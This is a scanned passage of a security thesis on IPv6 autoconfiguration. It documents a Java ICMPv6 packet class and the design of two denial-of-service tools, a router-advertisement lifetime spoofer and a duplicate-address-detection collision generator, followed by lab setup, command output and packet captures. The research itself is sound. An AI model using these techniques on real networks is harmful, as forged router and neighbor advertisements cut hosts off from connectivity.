field  (field  length  4  bytes) 

48 

static 

short 

RETRANSMISSION 

TIMER 

Byte  of  the  ICMP  Router 
Advertisement  "Retransmission 
Timer"  field 

52 

static 

short 

RA_OPTIONS_BYTE 

Starting  Byte  of  the  ICMP 
Router  Advertisement  Options 
Headers 

56 

Table  6.  Class  ICMP6  Router  Advertisement  specific 

constants 
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Constant 

Description 

Value 

static 

short 

NA  FLAGS  BYTE 

Byte  of  the  ICMP  Neighbor 

Advertisement  Flags  field 

44 

static 

short 

NA_TARGET_BYTE 

Starting  Byte  of  the  ICMP 
Neighbor  Advertisement  "Target 
Address"  field  (field  length  is 
8  bytes) 

48 

static 

short 

NA  OPTIONS  BYTE 

Starting  Byte  of  the  ICMP 
Neighbor  Advertisement  Options 
headers 

64 

Table  7.  Class  ICMP6  Neighbor  Advertisement  specific 

constants 


Constant 

Description 

Value 

static 

short 

SOURCE  LINK  LAYER  ADDRESS 

Value  of  the  ICMPv6 
Option  Header  for  a 
"Source  Link  Layer 
Address"  option 

1 

static 

short 

TARGE T_LINK_LAYER_ADDRESS 

Value  of  the  ICMPv6 
Option  Header  for  a 
"Target  Link  Layer 
Address"  option 

2 

static 

short 

PREFIX  INFORMATION 

Value  of  the  ICMPv6 
Option  Header  for  a 
"Prefix  Information" 
option 

3 

static 

short 

MTU 

Value  of  the  ICMPv6 
Option  Header  for  an 
"MTU"  option 

5 

Table  8.  Constants  of  Class  ICMP6  for  the  Option  Header 

Type  field  value 
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Constant 

Description 

Value 

static 

short 

OPTION  LENGTH  BYTE 

Byte  of  the  ICMPv6 
Option  Header 
"Option  Length" 
field  (byte  count 
from  the  start  of 
the  Option  Header) 

1 

static 

short 

OPTION_LINK_LAYER_ADDRESS 

Starting  Byte  of  the 
ICMPv6  Option  "Link 
Layer  Address"  field 
(field  length  6 
Bytes  -  byte  count 
from  the  start  of 
the  Option  Header) 

2 

static 

short 

PREFIX  FLAGS  BYTE 

Byte  of  the  Router 
Advertisement  Prefix 
Option  "Prefix 
Flags"  field  (byte 
count  from  the  start 
of  the  Option) 

3 

static 

short 

PREFIX  VALID  LIFETIME  BYTE 

Byte  of  the  Router 
Advertisement  Prefix 
Option  "Prefix  Valid 
Lifetime"  field 
(byte  count  from  the 
start  of  the  Option) 

4 

static 

short 

PREFIX  PREFERRED  LIFETIME 

BYTE 

Byte  of  the  Router 
Advertisement  Prefix 
Option  "Prefix 
Preferred  Lifetime" 
field  (byte  count 
from  the  start  of 
the  Option) 

8 

static 

short 

PREFIX  BYTE 

Starting  Byte  of  the 
Router  Advertisement 
Prefix  Option 
"Prefix"  field  (byte 
count  from  the  start 
of  the  Option) 

16 

Table  9.  Constants  of  Class  ICMP6  for  the  Option  Header 

bytes 
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Constant 

Description 

Value 

static 

short 

ICMP  PSEUDO  LENGTH 

ICMP  pseudo  header  length 

40 

static 

int 

NEXT_HEADER_ICMP 

Value  of  the  Network  Layer 
Header  "Next-Header"  field 
indicating  ICMPv6 

58 

static 

int 

VERSION  PRIORITY  MIN 

Minimum  Value  of  the 
Network  Layer  Header 
"Version  Priority"  field 
for  IPv6 

96 

Table  10.  Other  Class  ICMP6  constants 


2 .  Constructors 

The  ICMP6  class  is  a  wrapper  of  the 

Jpcap .packet . Packet  class.  The  data  member  of  ICMP6  is  a 
Jpcap .packet . Packet  object,  of  which  the  behavior  is 
enhanced  (according  to  the  ICMPv6  specifications)  with  the 
class's  methods.  There  are  two  constructors,  neither  being 
a  default  constructor. 

One  constructor  converts  a  jpcap .packet . Packet  object 
to  an  IVMP6  class  object.  Although  error  checking  (with  a 
method  provided  by  the  class)  is  implemented,  it  is 
recommended  that  the  application  developer  also  makes  sure 
that  the  jpcap. packet. Packet  object  is  of  type  ICMPv6 
before  using  this  constructor.  No  default  packet  is 
generated  if  the  error  checking  fails. 

The  second  constructor  is  designed  to  construct 
various  types  of  ICMPv6  messages  with  default  values  where 
possible.  It  is  given  an  integer  parameter  which 
corresponds  to  the  type  of  ICMPv6  message  to  be  created  (as 
an  ICMP6  object) .  Currently,  only  neighbor  advertisement 
messages  are  supported.  Tables  11  &  12  show  the  neighbor 
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advertisement  fields  that  are  initialized  with  this 
constructor,  and  the  fields  for  which  the  developer  is 
responsible  to  assign  values. 


I CMP v 6  field 


Value  Comments 


Version  -  Priority  0x60 
Flow  Label  0 

Payload  length  32 


IPv6  -  Priority  initialized  to  0 

32  bytes  Network-Layer  payload 
length  (includes  the  ICMPv6 
header  and  the  Target  Link  layer 
Address  option  header) 


Next  Header 
Hop  Limit 


58  I  CMP  v  6 

255  Neighbor  discovery  specification 

[RFC2462] 


I CMP v 6  Type  136 

I CMP v 6  Code  0 

Flags  0 

Option  header  type  2 


Option 
length 
Table  11. 


header  1 


Neighbor  Advertisement 


Target  Link  Layer  Address 

1  Byte  for  the  Target  Link  Layer 
Address  option  header. 


Neighbor  Advertisement  fields  initialized  by  the 
corresponding  ICMP6  constructor 
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ICMPv6  field 
Link  layer  header 
Network-Layer  source  address 

Network-Layer  destination 

address 

Target  Address 

Option  header' s  Target  Link 
Layer  Address 

ICMPv6  checksum 


Corresponding  method 

ICMPv6 . setDataLink ( )  method 

ICMPv6 . setSourceAddress ( ) 
method 

ICMPv6 . setDestinationAddress ( ) 
method 

ICMPv6 . setTargetAddress ( ) 
method 

ICMPv6 . setOptionLinkAddress ( ) 
method 


ICMPv6 . calculateChecksum ( ) 
method 

Table  12.  Neighbor  Advertisement  fields  not  initialized  by 

the  corresponding  ICMP6  constructor. 


A  modification  of  the  neighbor  advertisement  flags  may 
also  be  needed  by  the  developer  (all  flags  are  initialized 
to  zero) . 

3 .  Methods 

"Get"  methods  allow  the  developer  to  access  the 
values  inside  the  message's  fields,  whereas  with  the 
corresponding  "set"  methods,  modification  or  setting  of  the 
values  is  enabled.  A  method  for  calculation  and  setting  of 
the  ICMPv6  checksum  is  provided.  This  method  appropriately 
incorporates  the  pseudo  header.  Also,  a  method  that  checks 
if  a  Packet  is  an  ICMPv6  message  is  implemented.  Tables  13 
-  15  summarize  the  methods  of  the  class. 
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Return  Type 

Method  Name  and  Description 

int 

getChecksum ( ) 

Returns  the  checksum  of  the 

ICMPv6 

j  ava . net . Inet 6Address 

getDestinationAddress () 

Returns  the  IPv6 

Destination  Address  address 

byte [ ] 

getLinkDestinationAddress  () 

Returns  the  Link-Layer 

destination  address 

byte [ ] 

getLinkSourceAddress () 

Returns  the  Link-Layer 

source  address 

j  ava . net . Inet 6Address 

getSourceAddress () 

Returns  the  IPv6  source 

address 

j  ava . net . Inet 6Address 

getTargetAddress () 

Returns  the  Target  Address 
of  a  NA  or  NS 

int 

getType ( ) 

Returns  the  Type  of  the 

ICMPv6 

Table  13.  Class  ICMP6  methods  for  accessing  ICMPv6  fields 
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Return 

Type 

Method  Name  and  Description 

void 

setDataLink ( jpcap .packet . DatalinkPacket  dl) 

Sets  the  DataLink  Header  to  the  ICMPv6 

packet 

void 

setDestinationAddress (java . net . Inet6Address  dst ) 

Sets  the  IPv6  Destination  Address 

void 

setOptionLength (int  bytes) 

Sets  the  ICMPv6  Option  Header  Length 

void 

setOptionLinkAddress (byte [ ]  src) 

Sets  the  ICMPv6  Option  Link-Layer  Address 

void 

setOptionType ( int  type) 

Sets  the  type  of  the  ICMPv6  Option  Header 

void 

setOverride (boolean  or) 

Sets  the  NA  -  RA  override  Flag 

void 

setPref ixLif etime ( int  valid,  int  preferred) 

Sets  the  RA  Option  Prefix  Lifetimes  the 
same  lifetimes  are  set  for  all  the  prefixes 
advertised  by  the  particular  RA. 

Void 

setRouterLif etime (int  routerLifetime) 

Sets  the  RA  Router  Lifetime 

Void 

setSolicited (boolean  sol) 

Sets  the  NA  -  RA  solicited  Flag 

Void 

setSourceAddress (java . net . Inet6Address  src) 

Sets  the  IPv6  Source  Address 

Void 

setTargetAddress (java . net . Inet6Address  adr) 

Sets  the  NS  -  NA  Target  Address 

Void 

setType (int  type) 

Sets  the  ICMPv6  Type 

Table  14.  Class  ICMP6  methods  for  modifying/setting  ICMPv6 

fields 
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Return  Type 

Method  Name  and  Description 

Void 

calculateChecksum ( ) 

calculates  and  sets  the  ICMPv6 

checksum 

Void 

calculatePayloadLength ( ) 

calculates  and  sets  the  ICMPv6 
Payload  length 

Void 

send ( jpcap . JpcapSender  sender) 

Sends  an  ICMPv6  packet 

Static  boolean 

isICMP6 (jpcap .packet . Packet  p) 

This  method  checks  whether  a  Packet 
is  an  ICMPv6 

Table  15.  Other  methods  of  ICMP6 


B.  "ROUTER  LIFETIMES  DECREASER"  ATTACK  PROGRAM 

The  Rid  Class  makes  use  of  a  JpcapCaptor  object  to 
capture  and  process  incoming  packets.  The  data  members  of 
the  class  are  shown  below  in  Table  16,  and  are  not  part  of 
the  class's  interface.  The  Interface  of  the  Class  includes 
the  values  for  the  Fake  Router  Advertisement  provided  as 
constants  with  the  default  value  of  zero. 
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static  short 

static 

Networklnterf ace [ ] 
static  JpcapCaptor 

static  JpcapSender 

static  I CMP 6 

static  boolean 

static  int 

static  boolean 

static  int 

Table  16. 


data  member 


description 


networklnterf ace  network  interface  of 

the  attack 


devices 


the  array 
interfaces 


of  the 


DPcap 


sender 


f akeRASent 


the 

ob j  ect 
the 

ob j  ect 


JpcapCaptor 


JpcapSender 


A  member  to  hold  the 
sent  (fake)  Router 
Advertisement 

f irstReceived  a  flag  that  indicates 

if  a  router 

advertisement  has 

already  been  received 

snaplen  the  value  for  the 

(initialized  to  jpcapCaptor  snaplen 
2000) 


promise  the  value  for  the 

(initialized  to  interface's  mode 

false  -  non 
promiscuous ) 

to_ms  the  value  for  the 

(initialized  to  jpcapCaptor  to_  ms 

2  0  ms) 

Class  Rid  private  data  members 
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1 .  Program  behavior 

The  program's  main  class  captures  the  network  traffic 
using  the  JpcapCaptor  object,  and  then  processes  the 
packets  calling  the  method  loopPacket  of  the  PacketReceiver 
interface  of  JpcapCaptor.  A  method  "helpO"  is  implemented 
to  handle  faulty  command  line  input.  Correct  command  format 
is  "java  Rid  <interface  Nr>" . 

The  implementation  of  the  receivePacket ( )  method  of 
the  jpcap . PacketReceiver  interface  processes  only  the 
router  advertisement  messages,  by  calling  the  private 
method  spoofRouter ( )  where  the  values  of  the  router 
lifetime,  the  preferred  lifetime  and  the  valid  lifetime  of 
the  Prefix  Option  are  modified  to  the  preset  constant 
values  (default  values  are  zero) .  After  the  modification, 
the  checksum  is  calculated  and  set.  Finally,  the  new  packet 
is  injected  to  the  network  by  the  JpcapSender  object. 

C.  "DAD  COLLISION  GENERATOR"  ATTACK  PROGRAM 

The  Deg  class  also  uses  JpcapCaptor  and  JpcapSender 
objects  to  receive  and  send  packets.  The  data  members  and 
the  constants  fields  of  the  class  are  shown  in  Tables  17  & 
18  . 
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Data  member 


description 


public  static 

short 

private  static 

Networklnterf ace [ ] 

private  static 

JpcapCaptor 

private  static 

JpcapSender 

Random 


public  static 

ICMP  6 


networklnterf ace 


devices 


jpcap 


sender 


generator 


fakeNA 


the  network  interface 
of  the  tool 

the  array  of  the 
interfaces 

the  JpcapCaptor 

ob j  ect 

the  JpcapSender 

ob j  ect 

the  Random  generator 
(for  random  MAC 
address  generation 

the  fake  (colliding 
address)  Neighbor 

Advertisement 


private 

static 

int 

snaplen 

the  value 

for 

the 

(initialized 

to 

jpcapCaptor 

snaplen 

2000) 

private 

static 

promise 

the  value 

for 

the 

boolean 

(initialized 

to 

interface ' s 

mode 

true) 

private 

static 

int 

to  ms 

the  value 

for 

the 

(initialized 

to 

jpcapCaptor 

to  ms 

20  msec) 

Table  17.  DAD  Collision  Generator  data  members 
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constant 


Description  (value) 


public  LINK_ALL_NODES  All  nodes  Link  Layer  Address 

static  (33:33:00:00:00:01) 

final 

public  ALL_NODES_BYTES  All  nodes  IPv6  Address 

static  (FF:02::01) 

final 
byte  [  ] 

public  UNSPEC_BYTES  Unspecified  IPv6  Address  (::) 

static 

final 

byte  [  ] 

Table  18.  DAD  Collision  Generator  constant  fields 

1 .  Program  Behavior 

The  class's  main  method  captures  the  traffic  and  calls 
the  "receivePacket"  method  for  packet  processing.  The 
"receivePacket"  calls  the  "neighborSpoof "  method  whenever 
it  identifies  a  neighbor  solicitation  originating  from  the 
unspecified  address.  The  "neighborSpoof",  using  the  ICMP6 
class,  generates  a  neighbor  advertisement  filling  the  non¬ 
standard  ICMP  fields.  The  source  and  target  address  are 
copied  from  the  target  address  of  the  neighbor 
solicitation,  in  order  for  the  collision  to  occur.  The 
destination  address,  according  to  specifications 
[Thomson98],  is  the  "all  nodes  address".  The  solicited  flag 
is  set  to  zero  and  the  override  flag  is  set  to  one.  The 
link-layer  source  address  is  generated  randomly,  keeping 
the  same  first  two  bytes  of  the  solicitation' s  source  link 
layer  address  though,  ensuring  legality  of  the  MAC  address. 
This  bogus  address  is  used  at  the  target  link-layer  address 
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option  field  and  in  the  link  layer  header.  After  the 
checksum  is  recalculated,  the  fake  neighbor  advertisement 
is  sent  to  the  network. 

A  "helpO"  method  is  developed  to  handle  faulty 
command  line  input.  Correct  command  format  is  "java  Deg 
<interface  Nr>" . 

Chapter  IV  presents  the  results  of  Router  Lifetime 
Decreaser  and  DAD  Collision  Generator  in  a  laboratory  IPv6 
test  bed. 
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IV.  DENIAL  OF  SERVICE  ATTACKS  DURING  HOST 
AUTOCONFIGURATION  IN  IPV6 


A.  LAB  CONFIGURATION 

The  laboratory  used  for  this  research  was  configured 
to  simulate  an  internetwork  consisting  of  two  local 
networks  communicating  with  each  other  via  a  router.  A 
schematic  representation  follows  in  Figure  12 . 


a  a 


VUriCP 


Fedora  4 


Figure  12.  Lab  network  setup 
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The  hosts  of  the  upper  network  include  one  Windows  XP 
Pro  SP2  PC  and  two  Fedora  Core  4  Systems.  They  are 
connected  with  a  Cisco  Catalyst  1924  switch,  and  the 
network  that  they  form  is  multi-homed,  as  it  is  connected 
to  two  routers  that  advertise  different  prefixes.  It  is 
configured  to  roughly  simulate  a  part  of  a  corporate 
intranet;  one  router  serves  as  the  gateway  to  the  rest  of 
the  intranet  and  the  other  to  the  public  internet. 
Assignment  of  specific  roles  to  these  routers  is  not  of 
significance  for  this  particular  research,  but  for 
convenience  it  is  assumed  that  the  Cisco  router  connects 
the  network  to  the  public  internet  (where  the  lower  network 
exists)  and  the  Juniper  is  a  site-local  router. 

The  lower  network  is  interconnected  via  a  Netgear 
DS104  hub  in  order  to  simulate  some  of  the  properties  of 
the  popular  wireless  networks  and,  as  mentioned  before,  the 
Cisco  router  connects  it  to  the  upper  network. 

The  following  tables.  Tables  19  &  20,  show  the  OS 

version  and  MAC  addresses  of  the  hosts  and  routers  of  the 
test  bed,  and  the  prefix  parameters  advertised  by  the 
routers . 
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Subnetwork  Node 


Link-layer  address 


Upper 


Lower 


Table 

Subnetwork 

Upper 

Lower 


Windows  XP  Pro  SP2  host 
Linux  Fedora  4  Nr.l  host 
(Linux  2.6.11-1. 1369_FC4 ) 
Linux  Fedora  4  Nr. 2  host 
(Linux  2 . 6 . 11-1 . 1369_FC4) 
Juniper  m7i  router 
(JUNOS  7.5R1.12) 

Cisco  2610  router 
(Cisco  IOS  12 . 3 (15b) ) 
Windows  XP  Pro  host 
Linux  Fedora  4 


00-12-3f-ad-f 2-b2 

00-12-3f-ad-ca-4  6 

00-08-7 4-4 l-5e-3f 

00-14-f 6-81-20-db 

00-14-9a-c2-4c-ll 

00-14-9a-c2-4c-13 

00-12-3f-ad-cb-0f 

00-12-3f-ad-e7-60 


(Linux  2 . 6 . 11-1 . 1369_FC4) 

Attacker 

Windows  XP  Pro  SP2 

Or  00-16-36-3f-69-2f 

Linux  Fedora  4 

(Linux  2 . 6 . 11-1 . 1369_FC4) 

19.  Test  network  Link-Layer  Addresses 


Router 

Juniper 
Cisco 
Table  20. 


Prefix 

2006: : 0/64 
2000:0:0:6/64 
2000:0:0:2/64 
Subnet  prefixes 


Lifetimes  in  ms 
(preferred/ valid) 

0x93a80/0x278d00 
or  2592/604.8  sec 
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This  lab  was  used  as  a  test  bed  for  the  development 
and  analysis  of  two  Denial  of  Service  attacks.  The  hosts  of 
the  two  local  networks  simulate  the  targets,  whereas  the 
attacker  is  an  external  host  able  to  join  either  network. 

The  target  of  the  first  attack  is  the  whole  set  of 
hosts  in  a  local  network,  and  their  ability  to  use  their 
global  addresses  for  communication  beyond  their  link;  the 
tentative  title  of  the  attack  being  "router  lifetimes 
decreaser".  The  second  attack  is  focused  on  specific  nodes 
that  attempt  to  join  a  local  network,  prohibiting  their 
interfaces  to  initialize  a  valid  IPv6  address;  the 
tentative  title  being  "DAD  collision  generator".  The 
concept,  implementation  and  results  of  each  attack  follow. 

B.  "ROUTER  LIFETIMES  DECREASER"  ATTACK 

This  attack  is  an  instance  of  router  spoofing.  As  the 
title  suggests,  it  decreases  the  router  lifetime  of  the 
router  advertisements  in  order  to  cause  the  hosts  to  remove 
the  router  from  the  Default  Router  List.  This  procedure  is 
repeated  for  all  routers  on  the  link,  which  results  in  the 
isolation  of  the  subnet. 

1 .  Theoretical  Foundation  of  the  Attack 
There  are  three  lifetimes  related  to  the 
autoconfiguration  procedure  for  global  or  site-local 
addresses:  the  valid  prefix  lifetime,  the  preferred  prefix 
lifetime  and  the  router  lifetime.  The  parameters  that  are 
advertised  via  the  router  advertisements  have  been 
discussed  for  possible  security  implications,  such  as  an 
attacking  node  attempting  to  spoof  them  and  decrease  their 
lifetime  parameters  to  very  short  values  in  order  to 
perform  Denial  of  Service  attacks.  The  valid  prefix 
lifetime  is  protected  from  specific  attack,  since  an 
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unauthorized  router  can't  change  its  value  to  less  than  two 
hours  [Thomson98]  and  periodic  router  advertisements  are 
sent  much  more  often  than  that  (by  default  the  maximum 
retransmitting  time  is  3-10  minutes  for  the  routers  used 
for  this  research) .  Preferred  prefix  lifetimes  do  not  have 
such  limitations.  A  malicious  host  acting  as  a  router  can 
decrease  the  preferred  lifetime  to  any  short  value,  even 
zero,  and  the  other  hosts  will  accept  the  new  value.  The 
reason  for  this  being  that  deprecated  addresses  can  be  used 
when  no  preferred  address  exists  [Narten98] .  Finally,  for  a 
possible  router  lifetime  spoofing,  no  threat  mitigation  has 
been  discussed. 

According  to  the  autoconfiguration  specification 
[Thomson98],  the  router  lifetime  field  of  the  router 
advertisement  applies  to  its  usefulness  as  a  default 
router.  This  field  is  a  16-bit  unsigned  integer,  and  its 
value  is  calculated  in  units  of  seconds.  By  default  its 
value  is  three  times  the  maximum  router  advertisement 
retransmission  time.  A  value  of  zero  means  that  the  router 
should  be  removed  from  the  host's  Router  Default  List. 

If  the  Router  Default  List  of  a  node  is  empty,  the 
node  assumes  that  all  destinations  are  on-link  [Narten98] . 
When  attempting  to  send  a  message,  the  node  examines  its 
Neighbor  cache  for  information  about  the  link-layer  address 
of  the  outgoing  message.  If  no  corresponding  entry  is 
found,  the  node  proceeds  to  address  resolution.  Address 
resolution  consists  of  sending  a  neighbor  solicitation  and 
waiting  for  a  neighbor  advertisement.  The  scope  for  both  of 
these  messages  is  link-local;  no  results  are  expected  for 
hosts  on  different  networks.  Communication  between  two 
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hosts  on  different  links,  when  at  least  one  of  them  has  an 
empty  default  router  list,  should  not  be  possible. 

2 .  Design  and  Development  of  the  Attack  Tool 

The  attack  tool  is  designed  to  "sniff"  the  incoming 
traffic,  "build"  bogus  datagrams,  and  "inject"  them 
properly  into  the  network. 

During  the  first  phase,  the  program  detects  and 
processes  only  the  router  advertisement  datagrams,  silently 
ignoring  all  other  received  frames.  When  a  router 
advertisement  is  received  its  parameters  and  structure  are 
used  for  packet  crafting. 

The  bogus  router  advertisement  has  only  three 
different  parameter  values  as  compared  to  the  original.  The 
router  lifetime  and  the  prefix  lifetimes  (valid  and 
preferred)  are  set  to  zero.  Although  changing  the  prefix 
lifetimes  should  not  affect  the  network's  operation,  it  was 
interesting  to  observe  the  network' s  behavior  in  such 
abnormal  situations.  Finally,  after  the  new  ICMP  checksum 
is  calculated,  a  valid  router  advertisement  is  injected 
into  the  network.  A  simplified  timing  flow  for  one  host  and 
one  router  is  provided  in  below  in  Figure  13. 
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Figure  13.  Timing  diagram  of  the  Router  Lifetime  Decreaser 

attack 


3 .  Available  Procedures  for  Attack  Effectiveness 
Testing 

Ethereal  was  installed  on  all  hosts  to  observe  and 
analyze  the  network  traffic. 


The  directly  affected  parameters  of  the  aforementioned 


attack  include 

the  Default 

Router 

List 

and  Prefix 

List 

[Narten98 ] . 

Each  operating 

system 

uses 

different 

data 

structures 

to 

hold  these 

conceptual 

parameters . 

The 

commands  used  to  obtain  such  information  follow. 


a.  Windows  XP  Pro 

The  "ipconfig"  command  displays  the  valid 
addresses.  Figure  14  displays  the  command  output  of  the 
Windows  client  of  the  upper  network.  The  valid  addresses 
(deprecated  and  preferred)  and  the  two  routers'  link-local 
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addresses  are  displayed.  The  default  router  list  consists 
of  the  displayed  default  gateways. 


Windows  IP  Configuration 


Ethernet  adapter  Local  Area  Connection: 


Connection-specific  DNS  Suffix  .  : 

131.120.65.204 
255.255.255.248 
2  000  :  : 6: ld05 :c477 : f 9bl :29al 
2  000  :  : 6:212 :3fff :fead: f2b2 
2  006: :ld05:c477 : f 9bl : 2  9al 
2006: :c0b7:ec:e7e0:50b4 
2006: :5f9:fa5e:e7cb:c67f 
2006: : 693d : edl 9 : 9bd2 : 8d04 
2006: : 808e : lc70 : a648 : a2d3 
2006: :494c:b292 :f529:31a7 
2006: :dc23:25ff:1427 :7db8 
2006: : 212 : 3f f f : fead: f 2b2 
fe80 : : 212 : 3f f f : fead: f2b2%4 
131.120.65.201 
fe80 : : 204 : 9aff : fec2 : 4cll%4 
fe80 : : 214 : f 6f f : fe81 :20db%4 


Tunnel  adapter  Teredo  Tunneling  Pseudo-Interface: 
Connection-specific  DNS  Suffix  .  : 

IP  Address . :  fe80  ::  5445  :  5245  :  444f%5 

Default  Gateway  .  : 


Tunnel  adapter  Automatic  Tunneling  Pseudo-Interface: 
Connection-specific  DNS  Suffix  : 

IP  Address . :  fe80  :  :  5efe  :  131 . 120 . 65 . 204%2 

Default  Gateway  .  : 


Figure  14.  Normal  output  of  "ipconfig" 


it  /\uur  ess  . 
Subnet  Mask  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

IP  Address.  .  . 

Default  Gatewav 
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The 

addresses' 

lifetimes  (and 

accordingly 

the 

prefixes' 

lifetimes)  can 

be 

displayed  with  the  "ipv6 

if" 

command. 

The 

output  for 

the 

appropriate 

interface  of 

the 

upper  Windows 

is  illustrated 

in  Figure 

15.  Temporary 

are 

the  anonymous  addresses  [NartenOl] . 


Interface  4:  Ethernet:  Local  Area  Connection 
Guid  { BF8D972 8-8E8A-4BDB-8DAE-F6 9 62E7FBE4 9 } 
uses  Neighbor  Discovery 
uses  Router  Discovery 

link-layer  address:  00-12-3f-ad-f 2-b2 

preferred  global  2000 : : 6 : ld05 : c477 : f 9bl : 2 9al ,  life 
6dl8h9ml8s/18h6m31s  (temporary) 

preferred  global  2000 : : 6 : 212 : 3f f f : fead: f2b2 ,  life 
2  9d2  3h57m54s/ 6d2  3h57m54s  (public) 

preferred  global  2006 : : ld05 : c477 : f 9bl : 29al,  life 
6dl4hl5m2s/14hl2ml5s  (temporary) 

deprecated  global  2006 : : c0b7 : ec : e7e0 : 50b4 ,  life  5dl4hl7m53s/0s 
(temporary) 

deprecated  global  2006 : : 5f 9 : fa5e : e7cb : c67f ,  life 
4dl4h20m45s/0s  (temporary) 

deprecated  global  2006 :: 693d: edl9 : 9bd2 : 8d04 ,  life 
3dl4h23m36s/0s  (temporary) 

deprecated  global  2006 : : 808e : lc70 : a648 : a2d3,  life 
2dl4h2 6m28s/0s  (temporary) 

deprecated  global  2006 :: 494c :b292 : f529 : 31a7,  life  38h29ml9s/0s 
(temporary) 

deprecated  global  2006 :: dc23 : 25ff : 1427 : 7db8,  life  14h32mlls/0s 
(temporary) 

preferred  global  2006 :: 212 : 3fff : fead: f2b2 ,  life 
2  9d2  3h5  9m4  0s/ 6d2  3h5  9m4  0  s  (public) 

preferred  link-local  fe80 :: 212 : 3fff : fead: f2b2 ,  life  infinite 
multicast  interface-local  ff01::l,  1  refs,  not  reportable 
multicast  link-local  ff02::l,  1  refs,  not  reportable 

multicast  link-local  f f 02 : : 1 : f f ad : f 2b2 ,  3  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f 27 : 7db8 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f 2 9 : 31a7 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f 48 : a2d3 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f d2 : 8d04 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f f cb : c67f ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f feO : 50b4 ,  1  refs,  last  reporter 

multicast  link-local  f f 02 : : 1 : f fbl : 2 9al ,  2  refs,  last  reporter 

link  MTU  1500  (true  link  MTU  1500) 
current  hop  limit  64 

reachable  time  22000ms  (base  30000ms) 
retransmission  interval  1000ms 

Figure  15.  Normal  output  of  "ipv6  if" 
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Additional  commands  to  observe  a  client's 
behavior  are  the  "ipv6  rc"  for  the  routing  table  and  the 
"ipv6  nc"  for  the  neighbor  cache. 

The  "ping"  command  can  be  used  to  test 
connectivity . 

jb.  Linux 

The  "ip  -6  addr  show"  displays  information  on  the 
assigned  addresses  and  their  lifetimes  (Figure  16) . 


2:  ethO:  <BR0ADCAST, MULTICAST , UP>  mtu  1500  qlen  1000 

inet6  2000 : : 6 : 208 : 74f f : fe41 : 5e3f /64  scope  global  dynamic 
valid_lft  2591856sec  preferred_lf t  604656sec 
inet6  2000 : : 2 : 208 : 74f f : fe41 : 5e3f /64  scope  global  deprecated 
dynamic 

valid_lft  213590sec  preferred_lf t  -1773610sec 
inet6  2006 :: 208 : 74ff : fe41 : 5e3f/64  scope  global  dynamic 
valid_lft  2591983sec  preferred_lf t  604783sec 
inet6  fe80 : : 208 : 74f f : fe41 : 5e3f /64  scope  link 
valid_lft  forever  pref erred_lf t  forever 


Figure  16.  Normal  output  of  "ip  -6  addr  show" 

The  "ip  -6  route  show"  displays  the  routing 
table;  destination  cache  and  default  routers  are  shown  in 
Figure  17 . 
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2000:0:0:2:  :/64  dev  ethO  proto  kernel  metric  256  mtu  1500  advmss 
1440  metric  10  4294967295 

2000:0:0:6: :/64  dev  ethO  proto  kernel  metric  256  mtu  1500  advmss 
1440  metric  10  4294967295 

2006:  :  / 6 4  dev  ethO  proto  kernel  metric  256  mtu  1500  advmss  1440 
metric  10  4294967295 

fe80::/64  dev  ethO  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

fe80::/64  dev  ethl  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

ff00::/8  dev  ethO  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

ff00::/8  dev  ethl  metric  256  mtu  1500  advmss  1440  metric  10 
4294967295 

default  via  fe80 : : 214 : f 6f f : fe81 : 20db  dev  ethO  proto  kernel  metric 

1024  expires  66sec  mtu  1500  advmss  1440  metric  10  64 

default  via  fe80 : : 204 : 9af f : fec2 : 4cll  dev  ethO  proto  kernel  metric 

1024  expires  1723sec  mtu  1500  advmss  1440  metric  10  64 

unreachable  default  dev  lo  proto  none  metric  -1  error  -101  metric 

10  255 


Figure  17.  Normal  output  of  "ip  -6  route  show" 


Additionally ,  the  command  "ip  -6  neigh  show"  displays 
the  neighbor  cache  of  a  Linux  host,  and  the  "ping6"  command 
is  the  IPv6  equivalent  of  "ping". 

4 .  Results  of  the  Attack 

This  attack  was  tested  on  both  sub-networks.  The 
results  were  similar.  Detailed  results  for  the  upper 
network  will  be  presented. 

After  the  attacking  program  started  and  both  of  the 
routers  sent  advertisements,  the  "Router  Prefix  Decreaser" 
successfully  decreased  the  routers'  lifetimes  and  the 
prefix  preferred  lifetimes  to  zero.  Ethereal  captures  of 
the  legitimate  router  advertisement  and  the  fake  router 
advertisement  are  shown  in  Figures  18  &  19  respectively. 
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No.  .  Time  Source  Destination 

139159  2192534.204  f e80 : : 214 :f 6ff :fe81 : 20db  ff 02 : :1 


139161  2192547.165  f e80 : : 204 : 9aff :fec2 :4cll 
139165  2192562.208  f e80 : : 214 :f 6ff :fe81 : 20db 


ff 02 :  :1 
ff 02 :  :1 


Cur  hop  limit :  64 
+)  Flags:  0x00 


Router  lifetime:  1300 


Reachable  time:  0 
Retrans  time:  0 
+]  iCMPvb  options 
+  icmpvO  options 
E  iCMPvb  options 

Type:  3  (Prefix  information) 
Length:  32  bytes  (4) 

Prefix  length:  64 
E)  Fl ags :  OxcO 

valid  lifetime:  0x00278d00 
Preferred  lifetime:  0x00093a80 
Pref i x :  2000 : 0 : 0 : 6 : : 


0030 

00 

00 

00 

00 

00 

01 

36 

00 

2e 

ef  4  0 

00 

004  0 

00 

00 

00 

00 

00 

00 

01 

01 

00 

04 

9a 

c2 

0050 

00 

00 

00 

00 

05 

dc 

03 

04 

40 

cO 

00 

27 

0060 

3a 

30 

00 

00 

00 

00 

20 

00 

00 

00 

00 

00 

0070 

00 

00 

00 

00 

00 

00 

00  00 
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Figure  18. 


Ethereal  capture  of  the  legitimate  Router 
Advertisement 


No.  -  Time  Source  Destination 

139159  2192534.204  f eSO : : 214 :f 6ff :f e31 : 20db  ff02::l 

139160  2192547.147  f e30 : : 204 : 9aff :f ec2 :4cll  ff02::l 


E  Flags:  0x00 

Router  lifetime:  0 
Reachable  time:  0 
Retrans  time:  0 
Ei  icmpv6  options 
Ei  ICMPV6  options 
